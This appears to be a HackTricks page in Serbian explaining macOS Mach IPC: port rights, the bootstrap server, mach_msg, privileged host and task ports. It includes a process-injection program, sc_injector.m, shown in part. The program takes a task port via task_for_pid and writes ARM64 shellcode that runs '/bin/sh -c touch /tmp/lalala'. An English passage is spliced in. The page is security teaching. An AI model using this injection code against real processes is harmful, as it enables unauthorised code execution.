macOS IPC - Inter Process Communication

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Mach poruke putem portova

Osnovne informacije

Mach koristi taskove kao najmanju jedinicu za deljenje resursa, pri čemu svaki task može sadržati više niti. Ovi taskovi i niti su mapirani 1:1 na POSIX procese i niti.

Komunikacija između taskova se odvija putem Mach Inter-Process Communication (IPC), koristeći jednosmjerne komunikacione kanale. Poruke se prenose između portova, koji deluju kao vrste redova poruka upravljanih od strane jezgra.

Port je osnovni element Mach IPC-a. Može se koristiti za slanje poruka i za njihovo primanje.

Svaki proces ima IPC tabelu, u kojoj je moguće pronaći mach portove procesa. Ime mach porta zapravo predstavlja broj (pokazivač na jezgrovni objekat).

Proces takođe može poslati ime porta sa određenim pravima drugom tasku i jezgro će napraviti ovaj unos u IPC tabeli drugog taska.

Prava na portu

Prava na portu, koja definišu koje operacije task može izvršiti, ključne su za ovu komunikaciju. Moguća prava na portu su (definicije odavde):

  • Pravo na primanje, koje omogućava primanje poruka poslatih na port. Mach portovi su MPSC (multiple-producer, single-consumer) redovi, što znači da može postojati samo jedno pravo na primanje za svaki port u celom sistemu (za razliku od cevi, gde više procesa može držati deskriptore fajlova za kraj za čitanje jedne cevi).

  • Task sa pravom na primanje može primati poruke i kreirati prava na slanje, omogućavajući mu slanje poruka. Originalno, samo sopstveni task ima pravo na primanje nad svojim portom.

  • Ako vlasnik prava na primanje umre ili ga ubije, pravo na slanje postaje beskorisno (mrtvo ime).

  • Pravo na slanje, koje omogućava slanje poruka na port.

  • Pravo na slanje se može klonirati tako da task koji poseduje pravo na slanje može klonirati pravo i dodeliti ga trećem tasku.

  • Imajte na umu da se prava na portu takođe mogu prosleđivati putem Mac poruka.

  • Pravo na jednokratno slanje, koje omogućava slanje jedne poruke na port i zatim nestaje.

  • Ovo pravo ne može biti klonirano, ali se može premestiti.

  • Pravo na set portova, koje označava set portova umesto pojedinačnog porta. Skidanje poruke sa seta portova skida poruku sa jednog od portova koje sadrži. Set portova se može koristiti za osluškivanje više portova istovremeno, slično kao select/poll/epoll/kqueue u Unix-u.

  • Mrtvo ime, koje nije stvarno pravo na portu, već samo rezervacija. Kada se port uništi, sva postojeća prava na portu postaju mrtva imena.

Taskovi mogu preneti SEND prava drugima, omogućavajući im da pošalju poruke nazad. SEND prava takođe mogu biti klonirana, tako da task može duplicirati pravo i dati ga trećem tasku. Ovo, zajedno sa posredničkim procesom poznatim kao bootstrap server, omogućava efikasnu komunikaciju između taskova.

Portovi fajlova

Portovi fajlova omogućavaju da se deskriptori fajlova enkapsuliraju u Mac portove (koristeći prava na Mach portovima). Moguće je kreirati fileport od datog FD koristeći fileport_makeport i kreirati FD iz fileporta koristeći fileport_makefd.

Uspostavljanje komunikacije

Kao što je ranije pomenuto, moguće je slati prava korišćenjem Mach poruka, međutim, ne možete poslati pravo bez već postojećeg prava za slanje Mach poruke. Kako se onda uspostavlja prva komunikacija?

Za to je uključen bootstrap server (launchd na Mac-u), pošto svako može dobiti SEND pravo ka bootstrap serveru, moguće je zatražiti od njega pravo da pošalje poruku drugom procesu:

  1. Task A kreira novi port, dobijajući pravo na primanje nad njim.

  2. Task A, kao vlasnik prava na primanje, generiše SEND pravo za port.

  3. Task A uspostavlja vezu sa bootstrap serverom, i šalje mu SEND pravo za port koji je generisao na početku.

  • Zapamtite da svako može dobiti SEND pravo ka bootstrap serveru.

  1. Task A šalje bootstrap_register poruku bootstrap serveru da poveže dati port sa imenom kao što je com.apple.taska

  2. Task B interaguje sa bootstrap serverom da izvrši bootstrap pretragu za imenom servisa (bootstrap_lookup). Da bi bootstrap server mogao da odgovori, task B će mu poslati SEND pravo ka portu koji je prethodno kreirao unutar poruke pretrage. Ako je pretraga uspešna, server duplira SEND pravo primljeno od Task A i prebacuje ga Task B.

  • Zapamtite da svako može dobiti SEND pravo ka bootstrap serveru.

  1. Sa ovim SEND pravom, Task B je sposoban da pošalje poruku Task A-i.

  2. Za dvosmernu komunikaciju obično task B generiše novi port sa pravom na primanje i pravom na slanje, i daje pravo na slanje Task A-i kako bi mogao slati poruke TASK B-u (dvosmerna komunikacija).

Bootstrap server ne može autentifikovati ime servisa koje tvrdi task. Ovo znači da bi task potencijalno mogao predstavljati bilo koji sistemski task, kao što je lažno tvrditi ime autorizacionog servisa a zatim odobriti svaki zahtev.

Zatim, Apple čuva imena servisa koje pruža sistem u sigurnim konfiguracionim fajlovima, smeštenim u SIP-zaštićenim direktorijumima: /System/Library/LaunchDaemons i /System/Library/LaunchAgents. Pored svakog imena servisa, takođe je sačuvana povezana binarna datoteka. Bootstrap server će kreirati i držati pravo na primanje za svako od ovih imena servisa.

Za ove unapred definisane servise, proces pretrage se malo razlikuje. Kada se traži ime servisa, launchd pokreće servis dinamički. Novi tok rada je sledeći:

  • Task B pokreće bootstrap pretragu za imenom servisa.

  • launchd proverava da li je task pokrenut i ako nije, ga pokreće.

  • Task A (servis) izvršava bootstrap check-in (bootstrap_check_in()). Ovde, bootstrap server kreira SEND pravo, zadržava ga, i prebacuje pravo na primanje Task A-i.

  • launchd duplira SEND pravo i šalje ga Task B-u.

  • Task B generiše novi port sa pravom na primanje i pravom na slanje, i daje pravo na slanje Task A-i (servisu) kako bi mogao slati poruke TASK B-u (dvosmerna komunikacija).

Međutim, ovaj proces se odnosi samo na unapred definisane sistemski taskove. Ne-sistemski taskovi i dalje funkcionišu kao što je opisano originalno, što potencijalno može omogućiti predstavljanje.

Stoga, launchd nikada ne bi trebalo da se sruši ili će se ceo sistem srušiti.

Mach poruka

Pronađi više informacija ovde

Funkcija mach_msg, suštinski sistemski poziv, koristi se za slanje i primanje Mach poruka. Funkcija zahteva da poruka bude poslata kao početni argument. Ova poruka mora početi sa strukturom mach_msg_header_t, praćenom stvarnim sadržajem poruke. Struktura je definisana na sledeći način:

typedef struct {
mach_msg_bits_t               msgh_bits;
mach_msg_size_t               msgh_size;
mach_port_t                   msgh_remote_port;
mach_port_t                   msgh_local_port;
mach_port_name_t              msgh_voucher_port;
mach_msg_id_t                 msgh_id;
} mach_msg_header_t;

Procesi koji poseduju pravo na prijem mogu primati poruke na Mach portu. Nasuprot tome, pošiljaoci imaju pravo na slanje ili jednokratno slanje. Pravo jednokratnog slanja je isključivo za slanje jedne poruke, nakon čega postaje nevažeće.

Početno polje msgh_bits je mapa bitova:

  • Prvi bit (najznačajniji) se koristi za označavanje da je poruka kompleksna (više o tome ispod)

    1. i 4. bit se koriste od strane jezgra

  • 5 najmanje značajnih bitova 2. bajta mogu se koristiti za vaučer: druga vrsta porta za slanje kombinacija ključ/vrednost.

  • 5 najmanje značajnih bitova 3. bajta mogu se koristiti za lokalni port

  • 5 najmanje značajnih bitova 4. bajta mogu se koristiti za udaljeni port

Tipovi koji se mogu navesti u vaučeru, lokalnim i udaljenim portovima su (iz mach/message.h):

#define MACH_MSG_TYPE_MOVE_RECEIVE      16      /* Must hold receive right */
#define MACH_MSG_TYPE_MOVE_SEND         17      /* Must hold send right(s) */
#define MACH_MSG_TYPE_MOVE_SEND_ONCE    18      /* Must hold sendonce right */
#define MACH_MSG_TYPE_COPY_SEND         19      /* Must hold send right(s) */
#define MACH_MSG_TYPE_MAKE_SEND         20      /* Must hold receive right */
#define MACH_MSG_TYPE_MAKE_SEND_ONCE    21      /* Must hold receive right */
#define MACH_MSG_TYPE_COPY_RECEIVE      22      /* NOT VALID */
#define MACH_MSG_TYPE_DISPOSE_RECEIVE   24      /* must hold receive right */
#define MACH_MSG_TYPE_DISPOSE_SEND      25      /* must hold send right(s) */
#define MACH_MSG_TYPE_DISPOSE_SEND_ONCE 26      /* must hold sendonce right */

Na primer, MACH_MSG_TYPE_MAKE_SEND_ONCE može se koristiti da ukazuje da bi trebalo izvesti i preneti jednokratno slanje prava za ovaj port. Takođe se može specificirati MACH_PORT_NULL da bi se sprečilo da primalac može da odgovori.

Da bi se postigla jednostavna dvosmerna komunikacija, proces može specificirati mach port u mach zaglavlju poruke nazvan reply port (msgh_local_port) gde primalac poruke može poslati odgovor na ovu poruku.

Imajte na umu da se ovakva vrsta dvosmerne komunikacije koristi u XPC porukama koje očekuju odgovor (xpc_connection_send_message_with_reply i xpc_connection_send_message_with_reply_sync). Ali obično se kreiraju različiti portovi kako je objašnjeno ranije da bi se kreirala dvosmerna komunikacija.

Ostala polja zaglavlja poruke su:

  • msgh_size: veličina celog paketa.

  • msgh_remote_port: port preko kojeg je poslata ova poruka.

  • msgh_voucher_port: mach vaučeri.

  • msgh_id: ID ove poruke, koji se tumači od strane primaoca.

Imajte na umu da se mach poruke šalju preko mach porta, koji je kanal komunikacije sa jednim primaocem, više pošiljalaca ugrađen u mach kernel. Više procesa može slati poruke ka mach portu, ali u svakom trenutku samo jedan proces može čitati iz njega.

Poruke se zatim formiraju mach_msg_header_t zaglavljem praćenim telom i trailerom (ako postoji) i može dozvoliti odgovor na nju. U tim slučajevima, kernel samo treba da prosledi poruku iz jednog zadatka u drugi.

Trailer je informacija dodata poruci od strane kernela (ne može je postaviti korisnik) koja se može zatražiti prilikom prijema poruke sa zastavicom MACH_RCV_TRAILER_<trailer_opt> (postoji različite informacije koje se mogu zatražiti).

Kompleksne Poruke

Međutim, postoje i druge kompleksnije poruke, poput onih koje prenose dodatna prava porta ili dele memoriju, gde kernel takođe mora da pošalje ove objekte primaocu. U ovim slučajevima, najznačajniji bit zaglavlja msgh_bits je postavljen.

Mogući deskriptori za prenos su definisani u mach/message.h:

#define MACH_MSG_PORT_DESCRIPTOR                0
#define MACH_MSG_OOL_DESCRIPTOR                 1
#define MACH_MSG_OOL_PORTS_DESCRIPTOR           2
#define MACH_MSG_OOL_VOLATILE_DESCRIPTOR        3
#define MACH_MSG_GUARDED_PORT_DESCRIPTOR        4

#pragma pack(push, 4)

typedef struct{
natural_t                     pad1;
mach_msg_size_t               pad2;
unsigned int                  pad3 : 24;
mach_msg_descriptor_type_t    type : 8;
} mach_msg_type_descriptor_t;

U 32-bitnom sistemu, svi deskriptori su 12B i tip deskriptora je u 11. U 64-bitnom sistemu, veličine variraju.

Kernel će kopirati deskriptore iz jednog zadatka u drugi, ali prvo kreira kopiju u kernel memoriji. Ova tehnika, poznata kao "Feng Shui", zloupotrebljena je u nekoliko eksploatacija kako bi naterala kernel da kopira podatke u svojoj memoriji, omogućavajući procesu da pošalje deskriptore sebi. Zatim proces može primati poruke (kernel će ih osloboditi).

Takođe je moguće poslati prava porta ranjivom procesu, i prava porta će se jednostavno pojaviti u procesu (čak i ako ih ne obrađuje).

Mac Ports API

Imajte na umu da su portovi povezani sa imenikom zadatka, pa prilikom kreiranja ili pretrage porta, takođe se pretražuje imenik zadatka (više u mach/mach_port.h):

  • mach_port_allocate | mach_port_construct: Kreirajte port.

  • mach_port_allocate takođe može kreirati skup portova: primi pravo preko grupe portova. Svaki put kada se primi poruka, naznačen je port sa kog je poslata.

  • mach_port_allocate_name: Promenite ime porta (podrazumevano 32-bitni ceo broj)

  • mach_port_names: Dobijanje imena porta iz cilja

  • mach_port_type: Dobijanje prava zadatka nad imenom

  • mach_port_rename: Preimenovanje porta (kao dup2 za FD-ove)

  • mach_port_allocate: Alociranje novog PRIMANJA, SKUPA_PORTOVA ili MRTVOG_IMENA

  • mach_port_insert_right: Kreiranje novog prava u portu gde imate PRIMANJE

  • mach_port_...

  • mach_msg | mach_msg_overwrite: Funkcije korišćene za slanje i primanje mach poruka. Verzija za prepisivanje omogućava da se navede drugi bafer za prijem poruke (druga verzija će ga samo ponovo koristiti).

Debug mach_msg

Pošto su funkcije mach_msg i mach_msg_overwrite one koje se koriste za slanje i primanje poruka, postavljanje prekidača na njih omogućilo bi inspekciju poslatih i primljenih poruka.

Na primer, počnite sa debagovanjem bilo koje aplikacije koju možete da debagujete jer će učitati libSystem.B koja će koristiti ovu funkciju.

(lldb) b mach_msg
Prekid 1: gde = libsystem_kernel.dylib`mach_msg, adresa = 0x00000001803f6c20
(lldb) r
Proces 71019 pokrenut: '/Users/carlospolop/Desktop/sandboxedapp/SandboxedShellAppDown.app/Contents/MacOS/SandboxedShellApp' (arm64)
Proces 71019 zaustavljen
* nit #1, red = 'com.apple.main-thread', razlog zaustavljanja = prekid 1.1
okvir #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
libsystem_kernel.dylib`mach_msg:
->  0x181d3ac20 <+0>:  pacibsp
0x181d3ac24 <+4>:  sub    sp, sp, #0x20
0x181d3ac28 <+8>:  stp    x29, x30, [sp, #0x10]
0x181d3ac2c <+12>: add    x29, sp, #0x10
Cilj 0: (SandboxedShellApp) zaustavljen.
(lldb) bt
* nit #1, red = 'com.apple.main-thread', razlog zaustavljanja = prekid 1.1
* okvir #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
okvir #1: 0x0000000181ac3454 libxpc.dylib`_xpc_pipe_mach_msg + 56
okvir #2: 0x0000000181ac2c8c libxpc.dylib`_xpc_pipe_routine + 388
okvir #3: 0x0000000181a9a710 libxpc.dylib`_xpc_interface_routine + 208
okvir #4: 0x0000000181abbe24 libxpc.dylib`_xpc_init_pid_domain + 348
okvir #5: 0x0000000181abb398 libxpc.dylib`_xpc_uncork_pid_domain_locked + 76
okvir #6: 0x0000000181abbbfc libxpc.dylib`_xpc_early_init + 92
okvir #7: 0x0000000181a9583c libxpc.dylib`_libxpc_initializer + 1104
okvir #8: 0x000000018e59e6ac libSystem.B.dylib`libSystem_initializer + 236
okvir #9: 0x0000000181a1d5c8 dyld`invocation function for block in dyld4::Loader::findAndRunAllInitializers(dyld4::RuntimeState&) const::$_0::operator()() const + 168

Da biste dobili argumente mach_msg, proverite registre. Ovo su argumenti (iz mach/message.h):

__WATCHOS_PROHIBITED __TVOS_PROHIBITED
extern mach_msg_return_t        mach_msg(
mach_msg_header_t *msg,
mach_msg_option_t option,
mach_msg_size_t send_size,
mach_msg_size_t rcv_size,
mach_port_name_t rcv_name,
mach_msg_timeout_t timeout,
mach_port_name_t notify);

Dobijanje vrednosti iz registara:

reg read $x0 $x1 $x2 $x3 $x4 $x5 $x6
x0 = 0x0000000124e04ce8 ;mach_msg_header_t (*msg)
x1 = 0x0000000003114207 ;mach_msg_option_t (option)
x2 = 0x0000000000000388 ;mach_msg_size_t (send_size)
x3 = 0x0000000000000388 ;mach_msg_size_t (rcv_size)
x4 = 0x0000000000001f03 ;mach_port_name_t (rcv_name)
x5 = 0x0000000000000000 ;mach_msg_timeout_t (timeout)
x6 = 0x0000000000000000 ;mach_port_name_t (notify)

Pregledajte zaglavlje poruke proveravajući prvi argument:

(lldb) x/6w $x0
0x124e04ce8: 0x00131513 0x00000388 0x00000807 0x00001f03
0x124e04cf8: 0x00000b07 0x40000322

; 0x00131513 -> mach_msg_bits_t (msgh_bits) = 0x13 (MACH_MSG_TYPE_COPY_SEND) in local | 0x1500 (MACH_MSG_TYPE_MAKE_SEND_ONCE) in remote | 0x130000 (MACH_MSG_TYPE_COPY_SEND) in voucher
; 0x00000388 -> mach_msg_size_t (msgh_size)
; 0x00000807 -> mach_port_t (msgh_remote_port)
; 0x00001f03 -> mach_port_t (msgh_local_port)
; 0x00000b07 -> mach_port_name_t (msgh_voucher_port)
; 0x40000322 -> mach_msg_id_t (msgh_id)

Taj tip mach_msg_bits_t je vrlo čest kako bi omogućio odgovor.

Nabroj portove

lsmp -p <pid>

sudo lsmp -p 1
Process (1) : launchd
name      ipc-object    rights     flags   boost  reqs  recv  send sonce oref  qlimit  msgcount  context            identifier  type
---------   ----------  ----------  -------- -----  ---- ----- ----- ----- ----  ------  --------  ------------------ ----------- ------------
0x00000203  0x181c4e1d  send        --------        ---            2                                                  0x00000000  TASK-CONTROL SELF (1) launchd
0x00000303  0x183f1f8d  recv        --------     0  ---      1               N        5         0  0x0000000000000000
0x00000403  0x183eb9dd  recv        --------     0  ---      1               N        5         0  0x0000000000000000
0x0000051b  0x1840cf3d  send        --------        ---            2        ->        6         0  0x0000000000000000 0x00011817  (380) WindowServer
0x00000603  0x183f698d  recv        --------     0  ---      1               N        5         0  0x0000000000000000
0x0000070b  0x175915fd  recv,send   ---GS---     0  ---      1     2         Y        5         0  0x0000000000000000
0x00000803  0x1758794d  send        --------        ---            1                                                  0x00000000  CLOCK
0x0000091b  0x192c71fd  send        --------        D--            1        ->        1         0  0x0000000000000000 0x00028da7  (418) runningboardd
0x00000a6b  0x1d4a18cd  send        --------        ---            2        ->       16         0  0x0000000000000000 0x00006a03  (92247) Dock
0x00000b03  0x175a5d4d  send        --------        ---            2        ->       16         0  0x0000000000000000 0x00001803  (310) logd
[...]
0x000016a7  0x192c743d  recv,send   --TGSI--     0  ---      1     1         Y       16         0  0x0000000000000000
+     send        --------        ---            1         <-                                       0x00002d03  (81948) seserviced
+     send        --------        ---            1         <-                                       0x00002603  (74295) passd
[...]

Ime je podrazumevano ime dodeljeno portu (proverite kako se povećava u prva 3 bajta). ipc-object je zamagljeni jedinstveni identifikator porta. Takođe obratite pažnju kako portovi sa samo send pravom identifikuju vlasnika (ime porta + pid). Takođe obratite pažnju na upotrebu + za označavanje drugih zadataka povezanih sa istim portom.

Takođe je moguće koristiti procesxp da biste videli i registrovana imena servisa (sa onemogućenim SIP-om zbog potrebe za com.apple.system-task-port):

procesp 1 ports

Možete instalirati ovaj alat u iOS preuzimanjem sa http://newosxbook.com/tools/binpack64-256.tar.gz

Primer koda

Obratite pažnju kako pošiljalac dodeljuje port, kreira send right za ime org.darlinghq.example i šalje ga bootstrap serveru dok je pošiljalac zatražio send right za to ime i koristio ga je da pošalje poruku.

// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver

#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>

int main() {

// Create a new port.
mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("mach_port_allocate() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_allocate() created port right name %d\n", port);


// Give us a send right to this port, in addition to the receive right.
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_insert_right() inserted a send right\n");


// Send the send right to the bootstrap server, so that it can be looked up by other processes.
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_register() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_register()'ed our port\n");


// Wait for a message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;

kr = mach_msg(
&message.header,  // Same as (mach_msg_header_t *) &message.
MACH_RCV_MSG,     // Options. We're receiving a message.
0,                // Size of the message being sent, if sending.
sizeof(message),  // Size of the buffer for receiving.
port,             // The port to receive a message on.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL    // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Got a message\n");

message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}

Privilegovani portovi

Postoje neki posebni portovi koji omogućavaju izvođenje određenih osetljivih radnji ili pristup određenim osetljivim podacima u slučaju da zadaci imaju dozvole za slanje (SEND) nad njima. Ovo čini ove portove vrlo zanimljivim iz perspektive napadača ne samo zbog mogućnosti već i zato što je moguće deliti dozvole za slanje između zadataka.

Specijalni portovi domaćina

Ovi portovi su predstavljeni brojevima.

Prava za SLANJE (SEND) mogu se dobiti pozivanjem host_get_special_port i prava za PRIJEM (RECEIVE) pozivanjem host_set_special_port. Međutim, oba poziva zahtevaju host_priv port koji samo korisnik sa privilegijama može pristupiti. Osim toga, u prošlosti je korisnik sa privilegijama mogao pozvati host_set_special_port i preuzeti proizvoljne koji su omogućavali na primer zaobilaženje potpisa koda preuzimanjem HOST_KEXTD_PORT (SIP sada sprečava ovo).

Ovi portovi su podeljeni u 2 grupe: Prvih 7 portova su u vlasništvu jezgra pri čemu je 1 HOST_PORT, 2 HOST_PRIV_PORT, 3 HOST_IO_MASTER_PORT, a 7 je HOST_MAX_SPECIAL_KERNEL_PORT. Oni koji počinju od broja 8 su u vlasništvu sistemskih demona i mogu se pronaći deklarisani u host_special_ports.h.

  • Host port: Ako proces ima privilegiju za slanje (SEND) nad ovim portom, može dobiti informacije o sistemu pozivanjem njegovih rutina poput:

  • host_processor_info: Dobijanje informacija o procesoru

  • host_info: Dobijanje informacija o domaćinu

  • host_virtual_physical_table_info: Virtuelna/fizička tabela stranica (zahteva MACH_VMDEBUG)

  • host_statistics: Dobijanje statistika domaćina

  • mach_memory_info: Dobijanje rasporeda memorije jezgra

  • Host Priv port: Proces sa pravom za slanje (SEND) nad ovim portom može izvršiti privilegovane radnje poput prikazivanja podataka o pokretanju ili pokušaja učitavanja proširenja jezgra. Proces mora biti root da bi dobio ove dozvole.

  • Osim toga, da bi se pozvao kext_request API, potrebno je imati druge privilegije com.apple.private.kext* koje se dodeljuju samo Apple binarnim datotekama.

  • Druge rutine koje se mogu pozvati su:

  • host_get_boot_info: Dobijanje machine_boot_info()

  • host_priv_statistics: Dobijanje privilegovanih statistika

  • vm_allocate_cpm: Alociranje kontinualne fizičke memorije

  • host_processors: Pravo slanja host procesorima

  • mach_vm_wire: Čini memoriju rezidentnom

  • Pošto root može pristupiti ovim dozvolama, mogao bi pozvati host_set_[special/exception]_port[s] da preuzme specijalne ili izuzetne portove domaćina.

Moguće je videti sve specijalne portove domaćina pokretanjem:

procexp all ports | grep "HSP"

Task Portovi

Originalno, Mach nije imao "procese", već "taskove" koji su se smatrali više kao kontejneri niti. Kada je Mach spojen sa BSD-om, svaki task je bio povezan sa BSD procesom. Stoga, svaki BSD proces ima detalje potrebne da bude proces, a svaki Mach task takođe ima svoje unutrašnje funkcije (osim nepostojećeg pid 0 koji je kernel_task).

Postoje dve veoma interesantne funkcije u vezi sa tim:

  • task_for_pid(target_task_port, pid, &task_port_of_pid): Dobijanje SEND prava za task port taska povezanog sa određenim pid-om i davanje toga port-a naznačenom target_task_port-u (koji je obično task pozivaoca koji je koristio mach_task_self(), ali može biti SEND port preko drugog taska.)

  • pid_for_task(task, &pid): Dajući SEND pravo na task, pronađi sa kojim PID-om je taj task povezan.

Da bi izvršio radnje unutar taska, tasku je potrebno SEND pravo na sebe pozivajući mach_task_self() (koji koristi task_self_trap (28)). Sa ovlašćenjem, task može izvršiti nekoliko radnji kao što su:

  • task_threads: Dobijanje SEND prava nad svim task portovima niti taska

  • task_info: Dobijanje informacija o tasku

  • task_suspend/resume: Pauziranje ili nastavljanje taska

  • task_[get/set]_special_port

  • thread_create: Kreiranje niti

  • task_[get/set]_state: Kontrola stanja taska

  • i još toga se može naći u mach/task.h

Primetite da sa SEND pravom nad task portom drugog taska, moguće je izvršiti takve radnje nad drugim taskom.

Osim toga, task_port je takođe port za vm_map koji omogućava čitanje i manipulaciju memorijom unutar taska pomoću funkcija poput vm_read() i vm_write(). To u osnovi znači da će task sa SEND pravima nad task_portom drugog taska biti u mogućnosti da ubaci kod u taj task.

Zapamtite da je kernel takođe task, ako neko uspe da dobije SEND dozvole nad kernel_task, biće u mogućnosti da natera kernel da izvrši bilo šta (jailbreaks).

  • Pozovi mach_task_self() da dobiješ ime za ovaj port za task pozivaoca. Ovaj port se nasleđuje samo preko exec(); novi task kreiran sa fork() dobija novi task port (kao poseban slučaj, task takođe dobija novi task port nakon exec() u suid binarnom fajlu). Jedini način da spawnuješ task i dobiješ njegov port je da izvedeš "ples sa zamjenom portova" dok radiš fork().

  • Ovo su ograničenja za pristup portu (iz macos_task_policy iz binarnog fajla AppleMobileFileIntegrity):

  • Ako aplikacija ima dozvolu com.apple.security.get-task-allow, procesi od iste korisnika mogu pristupiti task portu (obično dodato od strane Xcode-a za debagovanje). Proces notarizacije neće dozvoliti ovo u produkcijskim verzijama.

  • Aplikacije sa dozvolom com.apple.system-task-ports mogu dobiti task port za bilo koji proces, osim kernela. U starijim verzijama se nazivalo task_for_pid-allow. Ovo je dozvoljeno samo Apple aplikacijama.

  • Root može pristupiti task portovima aplikacija koje nisu kompajlirane sa hardened runtime-om (i ne od strane Apple-a).

Ime task porta: Neprivilegovana verzija task porta. Referiše na task, ali ne dozvoljava kontrolisanje istog. Jedina stvar koja se čini dostupnom kroz njega je task_info().

Ubacivanje Shell koda u nit putem Task porta

Možeš preuzeti shell kod sa:

pageIntroduction to ARM64v8
// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep

#import <Foundation/Foundation.h>

double performMathOperations() {
double result = 0;
for (int i = 0; i < 10000; i++) {
result += sqrt(i) * tan(i) - cos(i);
}
return result;
}

int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
processIdentifier]);
while (true) {
[NSThread sleepForTimeInterval:5];

performMathOperations();  // Silent action

[NSThread sleepForTimeInterval:5];
}
}
return 0;
}

macOS IPC (Inter-Process Communication)

Inter-process communication (IPC) mechanisms are commonly used in macOS applications to allow processes to communicate with each other. These mechanisms include Mach ports, XPC services, and distributed objects.

Mach Ports

Mach ports are low-level communication endpoints used by processes to send and receive messages. They are a fundamental part of the macOS operating system and are used extensively by system services and applications.

XPC Services

XPC services are a higher-level IPC mechanism provided by the XPC framework. They allow processes to create and manage lightweight services that can communicate with each other securely.

Distributed Objects

Distributed objects are another IPC mechanism that allows objects to be passed between processes. This mechanism is commonly used in macOS applications to share data and functionality between different parts of an application.

Understanding how these IPC mechanisms work is essential for both developers and security researchers to identify potential security vulnerabilities and prevent privilege escalation attacks.

macOS Process Abuse

macOS processes run with different levels of privileges, depending on the user account under which they are executed. Attackers can abuse processes running with higher privileges to escalate their own privileges and gain unauthorized access to sensitive system resources.

By exploiting vulnerabilities in macOS processes, attackers can execute arbitrary code, manipulate system settings, and access restricted files and data. Understanding how processes are managed and secured in macOS is crucial for defending against privilege escalation attacks.

macOS Security and Privilege Escalation

macOS provides various security mechanisms to protect system resources and prevent unauthorized access. These mechanisms include code signing, sandboxing, entitlements, and system integrity protection.

Code signing ensures that only trusted and verified code is executed on macOS systems, preventing the execution of malicious software. Sandboxing restricts the capabilities of applications, limiting their access to system resources.

Entitlements define the privileges that an application or process has on a macOS system. By carefully configuring entitlements, developers can restrict the actions that an application can perform, reducing the risk of privilege escalation.

System Integrity Protection (SIP) is a security feature that protects system files and directories from modification, even by processes running with root privileges. SIP prevents unauthorized changes to critical system components, enhancing the overall security of macOS systems.

Understanding these security mechanisms and how they interact is essential for securing macOS systems and preventing privilege escalation attacks. Regularly updating macOS systems and applications, configuring security settings, and monitoring system activity are crucial steps in maintaining the security of macOS devices.

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.get-task-allow</key>
<true/>
</dict>
</plist>

Kompajlujte prethodni program i dodajte ovlašćenja kako biste mogli da ubacite kod sa istim korisnikom (ako ne, moraćete koristiti sudo).

sc_injector.m

```objectivec // gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector // Based on https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a?permalink_comment_id=2981669 // and on https://newosxbook.com/src.jl?tree=listings&file=inject.c

#import <Foundation/Foundation.h> #import <AppKit/AppKit.h> #include <mach/mach_vm.h> #include <sys/sysctl.h>

#ifdef arm64

kern_return_t mach_vm_allocate ( vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags );

kern_return_t mach_vm_write ( vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt );

#else #include <mach/mach_vm.h> #endif

#define STACK_SIZE 65536 #define CODE_SIZE 128

// ARM64 shellcode that executes touch /tmp/lalala char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";

int inject(pid_t pid){

task_t remoteTask;

// Get access to the task port of the process we want to inject into kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); if (kr != KERN_SUCCESS) { fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); return (-1); } else{ printf("Gathered privileges over the task port of process: %d\n", pid); }

// Allocate memory for the stack mach_vm_address_t remoteStack64 = (vm_address_t) NULL; mach_vm_address_t remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); return (-2); } else {

fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); }

// Allocate memory for the code remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); return (-2); }

